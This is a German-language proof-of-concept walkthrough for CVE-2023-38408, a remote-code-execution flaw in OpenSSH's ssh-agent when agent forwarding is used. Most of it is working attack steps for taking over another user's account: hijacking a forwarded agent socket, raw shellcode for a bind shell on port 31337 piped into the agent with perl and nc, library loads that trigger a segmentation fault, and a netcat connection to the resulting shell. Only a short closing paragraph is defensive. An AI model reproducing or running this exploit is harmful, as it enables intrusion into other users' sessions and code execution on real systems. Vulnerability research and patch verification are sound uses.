
Kontoübernahme OpenSSH
Eine Sicherheitslücke wurde in OpenSSH (vor Version 9.3p2) gefunden. Die PKCS#11-Funktion im ssh-agent von OpenSSH hat einen unzureichend vertrauenswürdigen Suchpfad, was zu Remote-Codeausführung führt, wenn ein Agent an ein vom Angreifer kontrolliertes System weitergeleitet wird (der Code in /usr/lib ist nicht unbedingt sicher zum Laden in ssh-agent). Dieser Fehler ermöglicht es einem Angreifer mit Kontrolle über den weitergeleiteten Agent-Socket auf dem Server und der Fähigkeit, auf das Dateisystem des Client-Hosts zu schreiben, beliebigen Code mit den Berechtigungen des Benutzers auszuführen, der den ssh-agent ausführt.
Im folgenden Beispiel können wir kurz die Schritte von der Erkundung bis zur Kompromittierung des Benutzers Alice beobachten.
Wie bereits erwähnt, werden wir in diesem POC zwei Benutzer verwenden, die über SSH mit einem Server verbunden sind. Um den folgenden Schritten zu folgen, gehen wir davon aus, dass die beiden Benutzer bereits Zugriff auf den Server (SSH) haben.
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Drücken Sie abschließend Strg-C, um die Netcat-Übertragung zu stoppen, sobald der Shellcode erfolgreich im Speicher des Agenten platziert wurde.
[!NOTE] SIGSEGV auslösen 💬
SIGSEGV ist ein Signal, das einem Computerprozess gesendet wird, wenn ein ungültiger Speicherzugriff (Segmentierungsfehler) auftritt. Nach Erhalt des SIGSEGV-Signals erkennt der Kernel, dass ein ungültiger Speicherzugriff stattgefunden hat, und ruft den benutzerdefinierten Signal-Handler auf, anstatt das Programm abrupt zu beenden. Dadurch erhält der Angreifer die Möglichkeit, die Programmausführung zu manipulieren und sie auf den injizierten bösartigen Code im NOP-Sled zu lenken.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
Die Sicherheitslücke betrifft hauptsächlich Systeme, auf denen der SSH-Agent von OpenSSH verwendet wird und die Agent-Weiterleitungsfunktion aktiviert ist. Organisationen und Einzelpersonen, die auf OpenSSH angewiesen sind, sollten umgehend ihre Konfigurationen überprüfen, um eine potenzielle Gefährdung festzustellen. Wenn Ihr System die genannten Bedingungen erfüllt, ist es entscheidend, sofort Maßnahmen zu ergreifen, um das mit CVE-2023-38408 verbundene Risiko zu mindern.